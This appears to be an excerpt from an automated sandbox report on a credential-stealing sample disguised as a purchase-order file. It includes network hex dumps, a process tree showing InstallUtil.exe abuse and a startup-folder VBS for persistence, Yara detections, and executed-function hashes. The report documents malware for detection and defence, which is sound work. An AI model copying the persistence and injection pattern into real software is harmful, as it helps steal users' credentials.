2025-01-09 17:57:17 UTC	8000	IN	Data Raw: 44 28 d8 9f ab ef c5 71 cc 06 e3 6c 19 d5 ea eb 36 7b e3 73 8c 64 8a 12 35 34 fb 20 3e 93 4c 51 73 83 e0 57 58 af 57 94 97 30 73 b2 24 02 93 06 ee 29 5a ce 7b a4 7e d5 41 fc 7e 46 98 69 6d 44 8c 87 c0 ef 99 54 57 0c 8f a3 c6 de 96 b4 d9 be 2e 70 f4 b2 5e 31 92 af ce 51 ca 56 1b 58 bc 6f 05 63 ee 7e 6c 86 d8 7d ff b5 a9 59 5e 5a ef ac 6e 3f ab 88 95 ed e5 7f f0 39 64 83 fc d4 a8 c1 43 8e 4d c9 b2 01 59 96 fd ad 84 ad 9f 09 98 17 e6 6b 01 f3 1d 7e b8 d9 90 60 28 58 c2 f1 d0 49 da 69 b7 0f 74 8c 80 e9 d7 a5 97 8d 73 ff 22 f3 40 e6 59 ff 43 87 f4 98 68 6b f1 72 07 b2 40 3e 55 3c c9 c4 54 87 30 c5 c6 16 be 13 c9 0e f5 bf dd 68 f9 3a d0 5f 8b ea 1c c8 b5 a3 32 b2 34 82 6a 8e c4 d7 4b ce 3f fb 1a e5 dc d5 34 cd 20 cf e6 bb e4 96 3d ff 51 67 61 29 47 ed b0 79 40 Data Ascii: D(ql6{sd54 >LQsWXW0s$)Z{~A~FimDTW.p^1QVXoc~l}Y^Zn?9dCMYk~`(XIits"@YChkr@>U<T0h:_24jK?4 =Qga)Gy@
2025-01-09 17:57:17 UTC	8000	IN	Data Raw: 72 0c fb b9 d0 de fe 67 3d 5d c1 1e 31 bb 59 c8 74 26 3d 54 6f 6c df 06 1e 01 19 a3 4f f0 19 68 39 3d 19 18 df 9a 0f dd 05 7b c9 a9 b4 0f 9c 10 6d 14 1d 95 2f c0 1e 17 ef 20 5e d7 87 0f df 78 ed 5b 47 2c ad f4 31 97 87 f0 c3 b3 21 e4 da 51 bd 97 25 e4 d5 85 6f f0 3e e6 73 33 62 27 b4 cf 70 71 78 79 bd 87 0e 10 f5 88 61 c1 ce 9b 68 ab 4a a3 c0 ed 2f 4b 76 54 17 49 8f af 46 f2 17 af 51 c2 33 c7 5d e4 54 e5 0d 05 2d e7 9f 57 87 7d 29 a8 3d 57 87 ac 00 6a bd bc 3f d8 71 b0 93 77 bf 65 82 32 63 70 06 3a 3d e7 95 2e 40 a7 2d 42 a0 34 9c c9 5a 98 3d be 19 26 5d a4 e9 38 ee 06 d8 bc bd 91 f4 e3 ad 48 ff f2 03 2c 51 9a ad 67 c0 e0 74 b1 33 a5 38 16 4a e4 54 e3 97 fc 51 8e e7 be e3 10 18 bf 65 68 17 66 46 f2 f6 0e 63 ea 20 4f d1 4c 73 a3 39 6f 22 90 7c 81 6d e1 c1 Data Ascii: rg=]1Yt&=TolOh9={m/ ^x[G,1!Q%o>s3b'pqxyahJ/KvTIFQ3]T-W})=Wj?qwe2cp:=.@-B4Z=&]8H,Qgt38JTQehfFc OLs9o"\|m
2025-01-09 17:57:17 UTC	8000	IN	Data Raw: 31 34 73 09 6e 1d 20 25 f6 de 83 20 f0 72 d1 a0 79 f5 98 53 70 bf b0 a0 1d f7 3c 8f 1d 3d 9a 79 49 6c f1 d8 e9 50 65 70 e9 9c bd a4 2f 51 8c 79 75 60 22 18 bb 9e f3 c2 84 18 66 e8 ae 8a eb b6 1a b0 75 11 70 e0 a2 82 0f ce 14 3e 35 39 81 24 c0 10 1a 3c 5d 79 25 b4 a2 f1 a0 70 0b c4 52 de f8 f8 ae d5 99 0d 83 17 ff 63 22 e1 88 9d 63 ae 79 1d 2e 3e 9a 20 35 98 c5 45 b9 81 02 f7 76 a3 5e 90 03 60 44 ab a4 21 48 56 0a bd c1 f0 ce 99 70 de 3d 2c 57 b8 04 67 61 1e e6 65 1a f7 3d 91 95 7d 26 ef ad 59 e4 7d 84 ce 5d 50 9b f0 28 c2 dd 15 e1 97 67 52 00 c5 d5 44 61 9c 00 fe 91 63 d9 a9 2d a8 f4 d3 e3 c7 06 76 a9 a7 22 4e e2 9b bf 7b a7 49 b3 2a 17 ab 85 75 b7 42 d0 96 c2 db 71 d2 cb 42 5a 20 dc a9 d7 bc 12 83 a1 78 5f 3e bf 1b f1 5b da 0f 7b 0f c0 92 7d ec be 6d d7 Data Ascii: 14sn % rySp<=yIlPep/Qyu`"fup>59$<]y%pRc"cy.> 5Ev^`D!HVp=,Wgae=}&Y}]P(gRDac-v"N{I*uBqBZ x_>[{}m
2025-01-09 17:57:17 UTC	8000	IN	Data Raw: e4 1d 1b 40 80 1b 40 3e 1e 3b 58 03 6b fd b4 2c 46 e8 1c e4 4f af 85 16 3b c4 05 a2 9f 7a 43 14 0b 9d 3a ec b3 31 9a 73 7b 89 20 8c 80 66 67 44 6a 79 75 ec 18 df d7 f8 b1 bc 71 a3 1b 8c f1 71 5a c0 f8 bc 0c ab 97 4d 86 e3 d0 d4 5c 3f 17 1a 76 f4 e6 05 bc 58 10 6a 7d 32 d0 dc 62 8b 07 ec 7e f8 1e a6 fb 67 4b a8 c5 1e ef ac b7 62 cf f1 8f 2f 40 d9 7a 22 b1 24 ed 17 63 bf 97 5a 49 3f 8a 8e 74 a6 5a c7 03 9b 6f 29 47 14 6b 18 de f1 b2 e1 84 55 94 de 62 fa 74 4f 02 5c 00 4e 81 b3 38 0e c4 f9 17 c6 b9 25 ac ec 8b a5 41 ec 79 39 fb a8 e1 ae 5c 47 46 9e bd d4 5b 1a 05 1b d3 31 a5 c4 3c dc 46 56 72 d6 b3 91 17 e0 0e 21 42 d6 ea b4 21 d5 5f 5d 2e a5 a4 b3 84 f0 6b e7 7c 8b b0 13 79 0c bc c2 95 e7 9e d1 cc 20 d3 ee 7e cf 79 b0 50 96 9b 68 90 f8 e0 cb ab 3b 64 7b 30 Data Ascii: @@>;Xk,FO;zC:1s{ fgDjyuqqZM\?vXj}2b~gKb/@z"$cZI?tZo)GkUbtO\N8%Ay9\GF[1<FVr!B!_].k\|y ~yPh;d{0
2025-01-09 17:57:17 UTC	8000	IN	Data Raw: 03 c0 d7 67 18 d9 87 53 4b 34 dc 3d a7 21 35 2c 34 ff d0 c2 b5 76 d3 d6 19 41 2f bf 3a a2 48 82 7f 7a 8b e6 c7 74 9a f5 31 4d c6 97 e1 49 0a 74 c9 7b cc 4b 4d f0 8a be f2 37 25 74 26 b3 99 f6 57 8d db 42 36 de 51 a8 59 4c a1 5a b4 a2 cf 3a 4d 1a 03 ef 7d 67 97 6a c1 dd 1c e9 b3 b0 27 92 b8 28 21 89 1a e8 2c 8e b2 72 35 55 09 2d 86 2e f8 65 54 db 8e 5e b7 e2 7c 38 36 68 2d a1 6a 65 dc 69 d9 89 cf 81 eb 8d 96 f3 3d cf 3e bd 1e 14 5c 2d e4 5c 9b 80 7d 3f 05 da 52 2e 52 fb f1 df e1 7f d0 31 ef b1 6b 0b ca 71 67 56 6f 9a 86 e5 aa b9 4e 51 f2 08 45 10 d5 ee 7e 28 3a 30 ce 8b da 21 fe 07 68 fd 11 3c 15 41 f2 92 b7 66 87 b1 c4 91 d6 9e f2 54 ed aa d4 26 f6 53 ea a9 ce 59 1a 36 ba e7 9e b9 a1 3b b5 ff 83 cd 31 e5 4e 30 b9 6a 51 c0 5d 47 b6 81 a6 41 03 c4 ef 23 58 Data Ascii: gSK4=!5,4vA/:Hzt1MIt{KM7%t&WB6QYLZ:M}gj'(!,r5U-.eT^\|86h-jei=>\-\}?R.R1kqgVoNQE~(:0!h<AfT&SY6;1N0jQ]GA#X

Target ID:	0
Start time:	12:56:51
Start date:	09/01/2025
Path:	C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PO-12202432_ACD_Group.pif.exe"
Imagebase:	0x800000
File size:	27'136 bytes
MD5 hash:	95BEC6594E293A42F4ABB049EA7E81DB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2148862105.0000000002C3C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2165084237.00000000066B0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.2157610900.0000000003BF8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:57:05
Start date:	09/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0x5b0000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.4467446341.000000000295F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.4467446341.0000000002B37000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	12:57:13
Start date:	09/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IsNestedFamANDAssem.vbs"
Imagebase:	0x7ff7174e0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:57:14
Start date:	09/01/2025
Path:	C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\IsNestedFamANDAssem.exe"
Imagebase:	0xdb0000
File size:	27'136 bytes
MD5 hash:	95BEC6594E293A42F4ABB049EA7E81DB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000005.00000002.2380281455.0000000004803000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000005.00000002.2368359291.000000000311C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 68%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:57:27
Start date:	09/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0xa50000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.2523565874.0000000002DB1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	11.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	3.8%
Total number of Nodes:	236
Total number of Limit Nodes:	7

Executed Functions

Function 06603B0F Relevance: 16.1, Strings: 12, Instructions: 1147COMMON

Download Yara Rule

Strings

$]q, xrefs: 06604027
$]q, xrefs: 066043F1
$]q, xrefs: 06603F67
,aq, xrefs: 066045DA
$]q, xrefs: 06603DA3
$]q, xrefs: 06603DB3
$]q, xrefs: 06604017
$]q, xrefs: 06603F77
$]q, xrefs: 06604401
4, xrefs: 066044F5
$]q, xrefs: 0660445A
$]q, xrefs: 0660444A

Memory Dump Source

Source File: 00000000.00000002.2164707308.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: ,aq$4$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-3443518476
Opcode ID: d7ef4e46103aba5fe5ff9312b2dec38056fbf2f41c81edce66a04fddea8db8cd
Instruction ID: 992ce566c2443ab07fbaedc7512c278662a5901e278db15b165c5d05a60502f2
Opcode Fuzzy Hash: d7ef4e46103aba5fe5ff9312b2dec38056fbf2f41c81edce66a04fddea8db8cd
Instruction Fuzzy Hash: 06B20A34A00119DFEB68DF98C994BAEB7F6FF88300F1545A9E605AB3A4CB709D45CB50

Function 06603E47 Relevance: 8.0, Strings: 6, Instructions: 495COMMON

Download Yara Rule

Strings

$]q, xrefs: 066043F1
$]q, xrefs: 06603F67
,aq, xrefs: 066045DA
$]q, xrefs: 06604017
4, xrefs: 066044F5
$]q, xrefs: 0660444A

Memory Dump Source

Source File: 00000000.00000002.2164707308.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: ,aq$4$$]q$$]q$$]q$$]q
API String ID: 0-324474496
Opcode ID: 5a2c302b45d02fc220d874f95eae7fcd1f7679ef87b1bb78d1e4b19bc9f5b6cf
Instruction ID: 3c29cda4ba24fcb4d6843f9ce343d96f5056d02a42b186e20cae7df33d02d19d
Opcode Fuzzy Hash: 5a2c302b45d02fc220d874f95eae7fcd1f7679ef87b1bb78d1e4b19bc9f5b6cf
Instruction Fuzzy Hash: 76220A34A00215DFEB68DF64C984BAAB7F6FF48304F1484A9D609AB3A5DB709D85CF50

Function 065A4C78 Relevance: 6.0, Strings: 4, Instructions: 983
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

xb`q, xrefs: 065A4DA5
TJbq, xrefs: 065A4E1A
Te]q, xrefs: 065A539B
paq, xrefs: 065A5832

Memory Dump Source

Source File: 00000000.00000002.2164245963.00000000065A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65a0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: TJbq$Te]q$paq$xb`q
API String ID: 0-4160082283
Opcode ID: 1c252bc7684b25b8d14e16196d7f95a16745c85751f27d81bdd1bed58fd6737f
Instruction ID: d58baf9ae3bfac763bc00ec8e1b50c96c8cff7c4b943dfcac956e18132e6b932
Opcode Fuzzy Hash: 1c252bc7684b25b8d14e16196d7f95a16745c85751f27d81bdd1bed58fd6737f
Instruction Fuzzy Hash: C2A2B375A00228CFDB65CF69C984A9DBBB2FF89304F1581E9D509AB325DB319E81CF50

Function 065A7038 Relevance: 5.1, Strings: 3, Instructions: 1351
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 065A76AA
0M, xrefs: 065A7177, 065A71A8, 065A721E, 065A726A, 065A72D6, 065A7302, 065A7348, 065A738E, 065A73D4, 065A741A, 065A7461, 065A74AB, 065A754A, 065A75BC, 065A762C, 065A7667, 065A76CE, 065A76FA, 065A7761, 065A778D, 065A77F4, 065A7820, 065A7887, 065A78B3, 065A791A, 065A7946, 065A79AD, 065A79D9, 065A7A40, 065A7A6C, 065A7AD3, 065A7AFF, 065A7B66, 065A7B92, 065A7BF9, 065A7C25, 065A7C8C, 065A7CB8, 065A7D1F, 065A7D4B, 065A7DB2, 065A7DDE, 065A7E45, 065A7E71, 065A7ED8, 065A7F04, 065A7FB2, 065A80D0, 065A8116, 065A81D8, 065A821E, 065A8264, 065A82ED, 065A831F, 065A8383, 065A83D2, 065A8439, 065A8484, 065A84B5, 065A8570, 065A8642, 065A86B0, 065A872D, 065A879B, 065A8809, 065A8885, 065A897F
2, xrefs: 065A8026

Memory Dump Source

Source File: 00000000.00000002.2164245963.00000000065A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65a0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: 0M$2$$]q
API String ID: 0-2743037065
Opcode ID: 8c78c4520dd621f107bd8f505d1f3d494616afd13fd3fc955e84297801860ef4
Instruction ID: c9f828bd27e7c2e61b9b9bf83c46e8127658756650c3ac1dfa232c8c1b463048
Opcode Fuzzy Hash: 8c78c4520dd621f107bd8f505d1f3d494616afd13fd3fc955e84297801860ef4
Instruction Fuzzy Hash: 88E2C374A052298FCB64DF68D994BDDBBB2FB89301F1091EAE409A7355DB309E81CF50

Function 05AFE6A0 Relevance: 4.4, Strings: 3, Instructions: 615
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0M, xrefs: 05AFE708, 05AFE737, 05AFE829, 05AFE896, 05AFEA3B, 05AFEAF6, 05AFEB6D, 05AFED5E, 05AFED90, 05AFEF84, 05AFF075
fbq, xrefs: 05AFE7BD
8, xrefs: 05AFE7AA

Memory Dump Source

Source File: 00000000.00000002.2162304348.0000000005AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5af0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: fbq$0M$8
API String ID: 0-1949280450
Opcode ID: 970cb72c394ac9f4913060eae983ea67d3b45f6def7a5fdab9682b9a13491d92
Instruction ID: f5c973ba6053d8f67ce2a29bcd9668aaff9db8994b3d998e924b6896469b6623
Opcode Fuzzy Hash: 970cb72c394ac9f4913060eae983ea67d3b45f6def7a5fdab9682b9a13491d92
Instruction Fuzzy Hash: 1152D575E002298FDB64DF69C990BD9B7B2FB89310F5085AAD90DA7354DB30AE81CF50

Function 05AFE685 Relevance: 3.9, Strings: 3, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0M, xrefs: 05AFE708, 05AFE737, 05AFE829, 05AFE896
fbq, xrefs: 05AFE7BD
h, xrefs: 05AFE79E

Memory Dump Source

Source File: 00000000.00000002.2162304348.0000000005AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5af0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: fbq$0M$h
API String ID: 0-524613942
Opcode ID: 860c0c42caa3bca2da3b98dc69ef0a65f0dfb37c73bddef705af8ad1c7639b2a
Instruction ID: c94240d7b2a475297677aa59f0e6f560cbefd0f3ffd5c370cabe1c01905b6147
Opcode Fuzzy Hash: 860c0c42caa3bca2da3b98dc69ef0a65f0dfb37c73bddef705af8ad1c7639b2a
Instruction Fuzzy Hash: CF811671D052698FDB64DF69CC50BC9BBB2FF89300F0081EAE909A7255DB306A85CF60

Function 06607490 Relevance: 3.1, Strings: 2, Instructions: 559
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Pl]q, xrefs: 06607678
$]q, xrefs: 0660775E

Memory Dump Source

Source File: 00000000.00000002.2164707308.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6600000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: Pl]q$$]q
API String ID: 0-2369359564
Opcode ID: ff295fb512e0db7c6ede97ebf191f2d22c8c8d8a35740270a0dd5a09961057f6
Instruction ID: 268c818d3dc8290a1468f534e4850432b17c3605651affa47d319b5e8a2b59bb
Opcode Fuzzy Hash: ff295fb512e0db7c6ede97ebf191f2d22c8c8d8a35740270a0dd5a09961057f6
Instruction Fuzzy Hash: 84223934B001058FEB58DF29C984A6ABBF6FF88715B1584A9E506CB3B1DB31EC41CB60

Function 065AF628 Relevance: 2.9, Strings: 2, Instructions: 435
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0M, xrefs: 065AF6BE, 065AF78B, 065AF7BD, 065AF7FE, 065AF830, 065AF868, 065AF90E, 065AF940, 065AFA49, 065AFAD6, 065AFB96, 065AFC4E, 065AFD0F, 065AFDDD
Te]q, xrefs: 065AF990

Memory Dump Source

Source File: 00000000.00000002.2164245963.00000000065A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65a0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: 0M$Te]q
API String ID: 0-2551741560
Opcode ID: 368d88ada373300b7f30dfe8776e11b4dd71fe3b408db03750b5a00bfe488b68
Instruction ID: d7a4d88b6da99423263bf4cb955aa5779875a2f33597af4f2d8ee3e1802168d6
Opcode Fuzzy Hash: 368d88ada373300b7f30dfe8776e11b4dd71fe3b408db03750b5a00bfe488b68
Instruction Fuzzy Hash: E1120F70A05219CFEBA4DF69D894BEDB7F2FB89300F1091AAD809A7355DB305A85CF50

Function 067D97F0 Relevance: 2.8, Strings: 2, Instructions: 322COMMON

Download Yara Rule

Strings

PH]q, xrefs: 067D9B97
0M, xrefs: 067D98C5, 067D98F7, 067D999E, 067D99D2, 067D9A46, 067D9AA3, 067D9AE5

Memory Dump Source

Source File: 00000000.00000002.2169967213.00000000067D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67d0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: 0M$PH]q
API String ID: 0-669990556
Opcode ID: f59812646ebd0f1fe80c87efdf7e1b111fdaa4b57d7d517906803cc117724a48
Instruction ID: 6e6f44177c6c474b81a77f48940623138ab5b48195d56863a5b3ee78a31cd71d
Opcode Fuzzy Hash: f59812646ebd0f1fe80c87efdf7e1b111fdaa4b57d7d517906803cc117724a48
Instruction Fuzzy Hash: 51E12570E05218CFEB94DFA9C984BADBBF2FB89304F1095A9D609A7355DB704A85CF40

Function 067D97DF Relevance: 2.8, Strings: 2, Instructions: 319COMMON

Download Yara Rule

Strings

PH]q, xrefs: 067D9B97
0M, xrefs: 067D98C5, 067D98F7, 067D999E, 067D99D2, 067D9A46, 067D9AA3, 067D9AE5

Memory Dump Source

Source File: 00000000.00000002.2169967213.00000000067D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67d0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: 0M$PH]q
API String ID: 0-669990556
Opcode ID: 3347cfc109b5856e1466cdc28a8c9db7f37d14bc5e00619c1f5066de2d28a701
Instruction ID: e31ecb4e003dc20d2d902941726839c06f37245b5bde55b06477b2a82c411e00
Opcode Fuzzy Hash: 3347cfc109b5856e1466cdc28a8c9db7f37d14bc5e00619c1f5066de2d28a701
Instruction Fuzzy Hash: AFE11370E05218CFEB94DFA9C984BADBBF2FB89304F1094AAD509A7355DB305A85CF50

Function 067D3E58 Relevance: 1.9, Strings: 1, Instructions: 609COMMON

Download Yara Rule

Strings

(aq, xrefs: 067D3F28

Memory Dump Source

Source File: 00000000.00000002.2169967213.00000000067D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67d0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: (aq
API String ID: 0-600464949
Opcode ID: 17e5b0c8d526d8a97b1dac640632df883988aa40ea08dbc139c3a2168f34facb
Instruction ID: ee7a3558fa2c60ac72c5b8997a331c5ea3303469918adc183a26439cc6b84448
Opcode Fuzzy Hash: 17e5b0c8d526d8a97b1dac640632df883988aa40ea08dbc139c3a2168f34facb
Instruction Fuzzy Hash: DF325870B006168FCB98DFA9C494A7EFBF2FB88300F148929D55AD7385DB30A945CB91

Function 065A89AB Relevance: 1.8, Strings: 1, Instructions: 539COMMON

Download Yara Rule

Strings

0M, xrefs: 065A89F6, 065A8A72, 065A8ABC, 065A8AE8, 065A8B3A, 065A8BF8, 065A8C71, 065A8CB5, 065A8D5D, 065A8D8F, 065A8E13, 065A8EF6, 065A8F34, 065A8FAF, 065A9038, 065A93BA, 065A93FC

Memory Dump Source

Source File: 00000000.00000002.2164245963.00000000065A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65a0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID:
String ID: 0M
API String ID: 0-2051941792
Opcode ID: ad5823df4395efce95bd92c968779eaaa7b9afe67ca4605bb2a7a776d2d68c04
Instruction ID: b4fd0749dcc610be3066f956b2c3bfa787372685e6bfeb38e7ca423b9076545b
Opcode Fuzzy Hash: ad5823df4395efce95bd92c968779eaaa7b9afe67ca4605bb2a7a776d2d68c04
Instruction Fuzzy Hash: 0752C5B4A052298FCBA4DF28C984B9EB7B6FB49301F1081D9D90DA7355DB309E85CF61

Function 067C1C81 Relevance: 1.6, APIs: 1, Instructions: 64nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 067C1D11

Memory Dump Source

Source File: 00000000.00000002.2169905796.00000000067C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67c0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 908707e796103f452b19475eb6fe5d527a2053e58f98f8750288df5e13d8ba1d
Instruction ID: 877447093e88ba025a3582a4582ad67f46bc2b1655402170781bf75d10ebed2d
Opcode Fuzzy Hash: 908707e796103f452b19475eb6fe5d527a2053e58f98f8750288df5e13d8ba1d
Instruction Fuzzy Hash: 7D21F3B1D002099FCB10DFAAD984AEEFBF5FF48310F60842AE519A3210C775A944CBA1

Function 067C1C88 Relevance: 1.6, APIs: 1, Instructions: 63nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 067C1D11

Memory Dump Source

Source File: 00000000.00000002.2169905796.00000000067C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67c0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 50a42205f74bb2ef9edd8b2ab6ce219c4445ad1847fcb46abfbeba6ee1064b5e
Instruction ID: d671ae715fd3f8298af633408582a0c85d00eef28b94a486d88b2e6b806a095f
Opcode Fuzzy Hash: 50a42205f74bb2ef9edd8b2ab6ce219c4445ad1847fcb46abfbeba6ee1064b5e
Instruction Fuzzy Hash: 3A21D4B1D012499FCB10DFAAD984AEEFBF5FF48310F60842AE519A7250C7759940CBA1

Function 067C4B30 Relevance: 1.6, APIs: 1, Instructions: 59nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 067C4BA6

Memory Dump Source

Source File: 00000000.00000002.2169905796.00000000067C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67c0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: fc68bae8f6f49c2315af9df6d8e3efce8c35abbdbd87e26c4e8869359328a907
Instruction ID: ff4c8244d6de661688afbcaf485961853af3049296386049ef6a4b710b03baa0
Opcode Fuzzy Hash: fc68bae8f6f49c2315af9df6d8e3efce8c35abbdbd87e26c4e8869359328a907
Instruction Fuzzy Hash: 641127B1D002088ECB10DFAAC444BAFFBF8EF59320F50842ED519A3240D779A944CFA1

Function 067C4B38 Relevance: 1.6, APIs: 1, Instructions: 54nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 067C4BA6

Memory Dump Source

Source File: 00000000.00000002.2169905796.00000000067C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67c0000_PO-12202432_ACD_Group.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 0cf49b2296fe3be658a130b76255fe6c93782aec8c456b18ea02749546b2e604
Instruction ID: 2a7568688e9cb72182433de28c020ad0773872fca247f84fde3b31fcdf34378a
Opcode Fuzzy Hash: 0cf49b2296fe3be658a130b76255fe6c93782aec8c456b18ea02749546b2e604
Instruction Fuzzy Hash: F611E7B1D002098EDB10DFAAC444AAEFBF4FF59324F54842ED519A7240CB79A945CFA5

Function 066A74B0 Relevance: 1.5, Strings: 1, Instructions: 255COMMON

Download Yara Rule

Strings

Te]q, xrefs: 066A7682

Memory Dump Source

Source File: 00000000.00000002.2165010965.00000000066A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066A0000, based on PE: false

Joe Sandbox IDA Plugin

